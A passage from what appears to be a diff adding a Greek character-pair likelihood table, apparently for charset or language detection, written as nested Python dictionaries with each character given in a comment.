# 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 3, # 'α' + 29: 2, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 3, # 'ε' + 32: 3, # 'ζ' + 13: 3, # 'η' + 25: 3, # 'θ' + 5: 0, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 1, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 3, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 1: { # 'α' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 2, # 'έ' + 22: 0, # 'ή' + 15: 3, # 'ί' + 1: 0, # 'α' + 29: 3, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 2, # 'ε' + 32: 3, # 'ζ' + 13: 1, # 'η' + 25: 3, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 2, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 0, # 'ω' + 19: 2, # 'ό' + 26: 2, # 'ύ' + 27: 0, # 'ώ' + }, + 29: { # 'β' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 2, # 'έ' + 22: 3, # 'ή' + 15: 2, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 2, # 'γ' + 21: 2, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 3, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 2, # 'ό' + 26: 2, # 'ύ' + 27: 2, # 'ώ' + }, + 20: { # 'γ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 3, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 3, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 2, # 'ύ' + 27: 3, # 'ώ' + }, + 21: { # 'δ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 3: { # 'ε' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 3, # 'ί' + 1: 2, # 'α' + 29: 3, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 2, # 'ε' + 32: 2, # 'ζ' + 13: 0, # 'η' + 25: 3, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 2, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 3, # 'ω' + 19: 2, # 'ό' + 26: 3, # 'ύ' + 27: 2, # 'ώ' + }, + 32: { # 'ζ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 2, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 1, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 2, # 'ό' + 26: 0, # 'ύ' + 27: 2, # 'ώ' + }, + 13: { # 'η' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 3, # 'γ' + 21: 2, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 3, # 'θ' + 5: 0, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 0, # 'ο' + 9: 2, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 25: { # 'θ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 2, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 1, # 'λ' + 10: 3, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 5: { # 'ι' + 60: 0, # 'e' + 55: 1, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 1, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 0, # 'ί' + 1: 3, # 'α' + 29: 3, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 3, # 'ε' + 32: 2, # 'ζ' + 13: 3, # 'η' + 25: 3, # 'θ' + 5: 0, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 0, # 'ύ' + 27: 3, # 'ώ' + }, + 11: { # 'κ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 3, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 2, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 2, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 2, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 16: { # 'λ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 1, # 'β' + 20: 2, # 'γ' + 21: 1, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 2, # 'θ' + 5: 3, # 'ι' + 11: 2, # 'κ' + 16: 3, # 'λ' + 10: 2, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 2, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 10: { # 'μ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 1, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 3, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 3, # 'φ' + 23: 0, # 'χ' + 42: 2, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 2, # 'ύ' + 27: 2, # 'ώ' + }, + 6: { # 'ν' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 3, # 'δ' + 3: 3, # 'ε' + 32: 2, # 'ζ' + 13: 3, # 'η' + 25: 3, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 1, # 'λ' + 10: 0, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 30: { # 'ξ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 2, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 2, # 'ό' + 26: 3, # 'ύ' + 27: 1, # 'ώ' + }, + 4: { # 'ο' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 2, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 2, # 'α' + 29: 3, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 3, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 2, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 2, # 'ω' + 19: 1, # 'ό' + 26: 3, # 'ύ' + 27: 2, # 'ώ' + }, + 9: { # 'π' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 3, # 'λ' + 10: 0, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 2, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 2, # 'ύ' + 27: 3, # 'ώ' + }, + 8: { # 'ρ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 2, # 'β' + 20: 3, # 'γ' + 21: 2, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 3, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 1, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 3, # 'ο' + 9: 2, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 2, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 14: { # 'ς' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 